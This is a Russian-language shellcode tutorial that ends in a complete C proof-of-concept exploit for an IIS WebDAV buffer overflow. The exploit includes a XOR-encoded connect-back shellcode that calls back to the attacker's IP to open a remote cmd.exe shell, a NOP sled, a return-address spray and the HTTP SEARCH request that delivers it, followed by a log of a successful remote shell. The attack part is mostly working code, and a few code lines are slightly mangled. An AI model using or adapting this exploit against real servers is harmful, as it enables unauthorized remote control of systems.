Хотя к этому моменту тема переполнения буфера освещена более или менее полно во всех возможных аспектах. Тем не менее, мне бы хотелось представить читателю небольшой «cookbook» по написанию цепочек инструкций, исполнимых в контексте данного нам процесса (эксплоитов).
Хотя к этому моменту тема переполнения буфера освещена более или менее полно во всех возможных аспектах. Тем не менее, мне бы хотелось представить читателю небольшой «cookbook» по написанию цепочек инструкций, исполнимых в контексте данного нам процесса (эксплоитов).
Разумеется, автор надеется, что читатель более или мене знаком с архитектурой ядра win32, а также его объектами.
На этом я решил закончить вступление и приступить к перезагрузке. Итак, перезагрузка.
Начнем с того, что и как происходит? Внимание: всем известный код уязвимой программы:
void main () { char buffer[3]; lstrcpy (buffer, “AAAAAAAAAAAAAAAAAAAAAAA”); printf(“%s”,buffer); }
При попытке исполнить данный код, загрузчик исполнимого кода, несомненно, вызовет прерывание доступа к сегменту по указанному адресу GPE (в нашем случае это – 0x41414141). Как видите, нам удалось изменить ход программы (execution flow), а именно модифицировать регистр EIP (Extended Instruction Pointer).
Как это происходит?
При вызове функции lstrcpy загрузчик сохраняет в стеке данных указатель на следующую команду (в примере – printf) – это и есть пролог вызова процедуры дальнего типа:
… push eip … call lstrcpy pop eip …
Поскольку, введенная нами строка превышает объем зарезервированной памяти для указателя buffer, выровненного на границу двойного слова, то происходит классическое – манипуляция данными за пределами буфера. Выглядит это так:
До вызова lstrcpy окно стека (адресация возрастает слева направо):
[…][EIP (dword = 4 bytes)] [buffer (4 bytes)]
После вызова:
[“…AAAA”] [“AAAA”(EIP)] [“AAAA”(buffer)]
Итак, мы подошли ко второму этапу – найденная нами ошибка относится к уровню разработки программы, известной как «unchecked boundary buffer overflow».
Итак, рассмотрим, наконец, вопросы, связанные с атакой. По нашему сценарию атакующий попытается представить в уязвимую программу такую цепочку символов, при которой будут искажены адрес возврата и соответственно управление будет передано подготовленному машинному коду (в дальнейшем – шеллкод). Назовем это состояние S («swerve»).
Возникает множество вопросов:
1) в каком именно контексте будет исполнен код;
2) является ли исполнимый код зависимым от переданного контекста;
3) архитектура какого процессора будет ключом к решению задачи атакующего.
Под контекстом мы понимаем состояние пользовательских, системных, а также сегментных регистров на предполагаемом этапе исполнения кода (при этом не учитываются, к примеру CR-регистры, характерные лишь для защищенного режима).
Полагаясь на поставленные нами вопросы, мы выдвигаем свои требования к шеллкоду:
1) шеллкод будет совместимым с процессорами семейства Intelx86 (no Sparc);
2) модель памяти, предпочтительная для кода атакующего – flat (непрерывная память с линейной адресацией – прим. автора);
3) шеллкод должен быть независимым от контекста уязвимой программы, поскольку вероятность предсказания конкретного значения регистра EIP ничтожно мала (а если точнее – 1/256^4);
4) шеллкод не должен содержать таких байтов, как терминаторы строк, или zero-bytes.
Вопрос номер три имеет конкретное решение – для получения указателя на текущую исполнимую инструкцию мы осуществляем вызов подпрограммы ближнего типа, которая сохраняет в одном из пользовательских регистров значение EIP (в приведенном ниже примере в EAX):
ESP <$+0> call @retrieve ; stack window: […] [EIP = $+5] | <$+5> mov edx, eax ; stack window: […] | … @retrive proc near ESP <$+n+0> pop eax ; stack window: […] | <$+n+1> push eax ; stack window: […][EAX = EIP = $+5] | <$+n+2> retn
Замечательно, но как избежать нулевые байты? При написании «внушительного» шеллкода эта проблема еще более усиливается тем фактом, что на «ассемблерном» уровне – это сущая головная боль. Однако у нас есть не очень оригинальное решение: мы зашифруем бинарным оператором xor (‘^’) основную часть шеллкода. В то время как «пролог» шеллкода будет содержать небольшой код, осуществляющий обратные преобразования.
Важно заметить, что ключ (точнее байт – прим. автора) преобразования должен быть выбран как уникальный по отношению к шифруемому шеллкоду, т.к. в противном случае:
a ^ a = 0.
…Мой слух улавливает звуки марсельезы – это предзнаменование крушения матрицы, рожденной виртуальным «АрхиЯ», и мы приступаем… Ты готов, Neo?
Я завершаю экскурсию по нашей лаборатории кульминационным моментом – как-то, воплощением поставленной нами задачи в жизнь. В качестве «иллюстрированного» примера мы используем недавно найденную уязвимость IIS WebDAV.
Определим некоторые «табу» для нашей работы, а именно: длина шеллкода не должна превышать 1024 байт, более того он реализован в одном сегменте кода, для промежуточных вычислений мы динамически выделим буфер в сегменте данных, доступного на запись. В то же время данные типа LPSTR (к примеру, таблица импорта функций), доступные только на чтение будут локализованы в «эпилоге» шеллкода. Представить это можно так:
jmp @retrieve mov ebp, eax ; got it! – EAX = EIP @retrive_eip proc near pop eax push eax retn [decryption] -----------decrypt = xor %key-----------> [xored shellcode] jmp -----> [xored shellcode] … @retrieve: call @retieve_eip [xored shellcode] … [xored shellcode] [read-only data] … [read-only data] /~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/ /* 26/05/2003 - The Matrix Reloaded - */ /* Proof of concept exploit by Sir Alumni */ /*-\--/--\--/--\--/--\--/--\--/--\--/--\--/--\--/--\--/--\--/ */ /* In brief: */ /* 1) spawns shell on port 32768; */ /* 2) the byte-code independent on */ /* kernel loading point entry; */ /* 3) because of zero-bytes presence in */ /* code, the shellcode is xored with */ /* calculate-based selective key; */ /*-/--\--/--\--/--\--/--\--/--\--/--\--/--\--/--\--/--\--/--\--/--\--/--\-*/ /* Greetings: to all my friends */ /~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/ #include <stdio.h> #include <winsock.h> #include <windows.h> #define SHELLCODELEN 753 #define NOP 0x90 #define BUFFERLEN 1024 #define RET 0x41424344 #define GMHOFF 30 #define GPAOFF 38 #define IPOFF 161 #define DEFPORT 32768 //#define DEBUGGEE_FLOW // for debug only #ifdef DEBUGGEE_FLOW #define GMH (long)GetModuleHandle #define GPA (long)GetProcAddress #else #define GMH 0x0100107C // GetModuleHandle@ #define GPA 0x01001034 // GetProcAddress@ #endif #define XOROFF 11 #define SOFF 16 char prologue[] = "\xEB\x03" // jmp $+3 "\x58" // pop eax "\x50" // push eax "\xC3" // retn "\xE8\xF8\xFF\xFF\xFF" // call $-3 "\xB2" // mov dl, %key "\x90" // %key "\x33\xC9" // xor ecx, ecx "\x66\xB9" // mov cx, shellcodesize "\x04\x03" // shellcodesize = hex(SHELLCODELEN) "\x04\x14" // add al, 0x14 "\x30\x10" // xor byte ptr[eax], dl "\x40" // inc eax "\x66\x49" // dec cx "\x67\xE3\x02" // jcxz $+5 "\xEB\xF6" // jmp $-8 ; char shellcode[SHELLCODELEN+1] = "\xe8\x5f\x02\x00\x00\x8b\xe8\x33\xf6\x66\xbe\x80" "\x00\x03\xf4\xc7\x46\xf0\x00\x00\x00\x00\xc7\x46" "\xf4\x00\x00\x00\x00\xb8\xf2\x12\x40\x00\x89\x46" "\xf8\xb8\xf8\x12\x40\x00\x89\x46\xfc\x8b\xd5\x81" "\xc2\x9e\x02\x00\x00\x52\xff\x56\xf8\x89\x46\xf4" "\x8b\xd5\x81\xc2\xab\x02\x00\x00\x52\xff\x76\xf4" "\xff\x56\xfc\x68\x00\x10\x00\x00\x6a\x40\xff\xd0" "\x8b\xf8\x8b\xc7\x8b\xfe\x8b\xf0\x83\xc6\x20\x8b" "\x47\xf8\x89\x46\xf8\x8b\x47\xf4\x89\x46\xf4\x8b" "\x47\xfc\x89\x46\xfc\x8b\xd5\x81\xc2\x6e\x02\x00" "\x00\x52\xff\x56\xf8\x89\x46\xf0\x8b\xd5\x81\xc2" "\x7e\x02\x00\x00\x52\xff\x76\xf0\xff\x56\xfc\x8b" "\xd8\x6a\x06\x6a\x01\x6a\x02\xff\xd3\x89\x06\x8b" "\xd6\x83\xc2\x14\xb8" "\x7f\x00\x00\x01" // put your ip here(run netcat before,e.g. 127.0.0.1) "\x89\x42\x04" "\x66\xc7\x02\x02\x00\x66\xb8" "\x80\x00" // specify connectious port here (e.g. 32768) "\x66\x89\x42" "\x02\x8b\xd5\x81\xc2\x8a\x02\x00\x00\x52\xff\x76" "\xf0\xff\x56\xfc\x8b\xd8\x6a\x10\x8b\xd6\x83\xc2" "\x14\x52\xff\x36\xff\xd3\x83\xf8\xff\x0f\x84\x84" "\x01\x00\x00\x8b\xd5\x81\xc2\x79\x02\x00\x00\x52" "\xff\x76\xf0\xff\x56\xfc\x8b\xd8\x8b\xd6\x6a\x00" "\x68\x64\x0f\x00\x00\x81\xc2\x9c\x00\x00\x00\x52" "\xff\x36\xff\xd3\xc6\x84\x30\x9c\x00\x00\x00\x00" "\xbb\x00\x00\x00\x00\x66\xb9\x0c\x00\x8a\x84\x2b" "\x62\x02\x00\x00\x88\x84\x33\x90\x00\x00\x00\x43" "\x66\x49\x66\x83\xf9\x00\x75\xe9\x8b\xfe\x81\xc7" "\x84\x00\x00\x00\xc7\x07\x0c\x00\x00\x00\xc7\x47" "\x04\x00\x00\x00\x00\xc7\x47\x08\x01\x00\x00\x00" "\x8b\xfe\x8b\xd6\x8b\xce\x81\xc7\x84\x00\x00\x00" "\x83\xc2\x0c\x83\xc1\x10\x6a\x00\x57\x51\x52\x8b" "\xd5\x81\xc2\xc9\x02\x00\x00\x52\xff\x76\xf4\xff" "\x56\xfc\x8b\xd8\xff\xd3\x8b\xfe\x83\xc7\x34\xc7" "\x07\x44\x00\x00\x00\x66\xc7\x47\x30\x00\x00\xc7" "\x47\x2c\x01\x01\x00\x00\x8b\x46\x10\x89\x47\x3c" "\x89\x47\x40\x8b\xd6\x8b\xde\x8b\xce\x81\xc2\x90" "\x00\x00\x00\x83\xc3\x34\x83\xc1\x78\x51\x53\x6a" "\x00\x6a\x00\x6a\x00\x6a\x01\x6a\x00\x6a\x00\x52" "\x6a\x00\x8b\xd5\x81\xc2\xd4\x02\x00\x00\x52\xff" "\x76\xf4\xff\x56\xfc\x8b\xd8\xff\xd3\x8b\xd5\x81" "\xc2\xbd\x02\x00\x00\x52\xff\x76\xf4\xff\x56\xfc" "\x8b\xd8\xff\x76\x10\xff\xd3\x8b\xd6\x83\xc2\x08" "\x8b\xd5\x81\xc2\xb7\x02\x00\x00\x52\xff\x76\xf4" "\xff\x56\xfc\x8b\xd8\x68\x88\x13\x00\x00\xff\xd3" "\x8b\xd6\x8b\xce\x81\xc2\x90\x00\x00\x00\x83\xc1" "\x08\x8b\x5e\x08\x6a\x00\x51\x68\x70\x0f\x00\x00" "\x52\xff\x76\x0c\x8b\xd5\x81\xc2\xe3\x02\x00\x00" "\x52\xff\x76\xf4\xff\x56\xfc\x8b\xd8\xff\xd3\x8b" "\xd6\x81\xc2\x90\x00\x00\x00\x6a\x00\xff\x76\x08" "\x52\xff\x36\x8b\xd5\x81\xc2\x85\x02\x00\x00\x52" "\xff\x76\xf0\xff\x56\xfc\x8b\xd8\xff\xd3\x8b\xd5" "\x81\xc2\x92\x02\x00\x00\x52\xff\x76\xf0\xff\x56" "\xfc\x8b\xd8\xff\x36\xff\xd3\xe9\x1c\xfe\xff\xff" "\x58\x50\xc3\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f" "\x43\x20\x20\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c" "\x4c\x00\x72\x65\x63\x76\x00\x73\x6f\x63\x6b\x65" "\x74\x00\x73\x65\x6e\x64\x00\x63\x6f\x6e\x6e\x65" "\x63\x74\x00\x63\x6c\x6f\x73\x65\x73\x6f\x63\x6b" "\x65\x74\x00\x4b\x45\x52\x4e\x45\x4c\x33\x32\x2e" "\x44\x4c\x4c\x00\x47\x6c\x6f\x62\x61\x6c\x41\x6c" "\x6c\x6f\x63\x00\x53\x6c\x65\x65\x70\x00\x43\x6c" "\x6f\x73\x65\x48\x61\x6e\x64\x6c\x65\x00\x43\x72" "\x65\x61\x74\x65\x50\x69\x70\x65\x00\x43\x72\x65" "\x61\x74\x65\x50\x72\x6f\x63\x65\x73\x73\x41\x00" "\x52\x65\x61\x64\x46\x69\x6c\x65\x00"; char xmlbody[] ="<?xml version=\"1.0\"?>\r\n <g:searchrequest xmlns:g=\"DAV:\">\r\n" "<g:sql>\r\nSelect \"DAV:displayname\" from scope() \r\n</g:sql>\r\n</g:searchrequest>\r\n"; long retaddr, buffsize; char* buffer; unsigned long getlocalhostip() { char buff[128]; in_addr inaddr; if(!gethostname(buff,128)) { memcpy(&inaddr,gethostbyname(buff)->h_addr,4); return(inet_addr(inet_ntoa(inaddr))); } return (-1); } ULONG WINAPI AcceptThread(LPVOID lpParam) { int ln1; unsigned long slisten, sacc; sockaddr_in saddrin; slisten = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (slisten!=INVALID_SOCKET) { saddrin.sin_addr.s_addr = INADDR_ANY; saddrin.sin_family = AF_INET; saddrin.sin_port = htons(DEFPORT); bind(slisten,(struct sockaddr*)&saddrin,sizeof(saddrin)); listen(slisten,5); while (1) { ln1 = sizeof(saddrin); sacc = accept(slisten,(struct sockaddr*)&saddrin,&ln1); if (sacc!=INVALID_SOCKET) { printf("\n\nShell succesfully spawned on remote host\n Netcat to %d",DEFPORT); ExitProcess(0); } } } return (1); } ULONG SendRequest (char* sHost, int iPort) { char* buffsend; struct sockaddr_in saddr_in; int timeout; unsigned long sock; buffsend = (char*)malloc(buffsize+256); memset(buffsend,0,buffsize+256); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); saddr_in.sin_addr.s_addr = inet_addr(sHost); saddr_in.sin_family = AF_INET; saddr_in.sin_port = htons(iPort); if (!connect(sock,(struct sockaddr*)&saddr_in,sizeof(saddr_in))) { timeout = 5000; setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout)); setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)); sprintf(buffsend,"SEARCH / HTTP/1.1\r\nHost:%s\r\nContent-Type: “ “text/xml\r\nContent-Length: %d\r\n\r\n%s%s", strlen(xmlbody)+strlen(buffer),xmlbody,buffer); send (sock,buffsend,strlen(buffsend),0); closesocket(sock); } else return(1); return (0); } void dispUsage(char* str1) { printf ("IIS WebDAV exploit by Alumni - The Matrix Reloaded -\n"); printf ("Usage: %s <ipv4dot> <port> [<buffsize>] [<retaddr>]\n\n",str1); return; } int main(int argc, char** argv) { unsigned long uThread; int prologuelen = 0, i; char xorkey = 0; long *ptr1; WSADATA wsadata; WSAStartup(MAKEWORD(2,0),&wsadata); buffsize = BUFFERLEN; retaddr = RET; #ifndef DEBUGGEE_FLOW if (argc<3) { dispUsage(argv[0]); return (1); } if (argc>=4) buffsize = atoi(argv[3]); if (argc>=5) retaddr = atol(argv[4]); #endif buffer = (char*) malloc(buffsize+1); ptr1 = (long*)buffer; memset(buffer,0,buffsize); CreateThread (NULL,NULL,(LPTHREAD_START_ROUTINE)AcceptThread, NULL,NULL,&uThread); *(long*)(shellcode+GMHOFF) = GMH; *(long*)(shellcode+GPAOFF) = GPA; *(long*)(shellcode+IPOFF) = getlocalhostip(); for (i=0;i<256;i++) { int iBool = 1, j; for (j=0;j<SHELLCODELEN;j++) if ((shellcode[j]^i)==0 || (shellcode[j]^i)==0x0d || (shellcode[j]^i)==0x0a) iBool = 0; if (iBool) { xorkey = i; break; } } for (i=0;iSHELLCODELEN;i++) shellcode[i] ^= xorkey; for (i=0;i<(buffsize-SHELLCODELEN)/2;i++) buffer[i] = NOP; prologue[XOROFF] = xorkey; *(short int*)(prologue+SOFF) = SHELLCODELEN; strncat(buffer,prologue,buffsize); prologuelen = strlen(buffer); for (i=prologuelen;i<SHELLCODELEN+prologuelen;i++) buffer[i] = shellcode[i-prologuelen]; prologuelen = strlen(buffer); buffer[prologuelen] = NOP; buffer[prologuelen+1] = NOP; buffer[prologuelen+2] = NOP; buffer[prologuelen+3] = NOP; for (i=(prologuelen+3) & (~3);ibuffsize;i+=sizeof(retaddr)) *(long*)(buffer+i) = retaddr; buffer[buffsize] = 0; printf ("%s",buffer); #ifdef DEBUGGEE_FLOW __asm { mov eax, ptr1 call eax } #else SendRequest(argv[1],atoi(argv[2])); #endif WSACleanup(); return (0); }
В качестве примера мы рассмотрим удаленный сервер, поддерживаемый NT4box SP3. В ходе написания эксплоита мне пришлось подготовить своеобразный netcat, более всего подходящий к диалогу двух сокетов, в котором после каждого сеанса соединение разрывается.
> webdav super-troupper 80 10000 … > webdav super-troupper 80 10011 Shell successfully spawned on remote host Netcat to 32768 > netcat 32768 Press Esc to exit Connection established from x.x.x.x $ echo Hello! $ Hello! $ netstat $
Активные подключения
Имя Локальный адрес Внешний адрес Состояние TCP poo:32768 localhost:1042 TIME_WAIT TCP poo:32768 localhost:1043 ESTABLISHED TCP poo:1043 localhost:32768 ESTABLISHED
В ходе написания кода на Си я придерживался классической школы Ершова – поэтому надеюсь, что Вы будете не строгими судьями.
Таким образом, полученный нами шеллкод – универсален; для нелокального его применения нам нужно задать абсолютные адреса функций GetProcAddress/GetModuleHandle(LoadLibraryA) и разумеется адрес возврата, применимые к атакуемой системе.
В заключении, хочу заметить, что данный материал, прежде всего, имеет исследовательский, чем просветительский, характер и основная задача – это обсудить вопросы написания шеллкода. Так, например, вопрос, касающийся адреса возврата, содержащего нулевой байт, остается открытым.
Автор надеется, что Вам было интересно пройтись по нашей лаборатории, и вкусить аромат нашей кухни.
Спойлер: она начинается с подписки на наш канал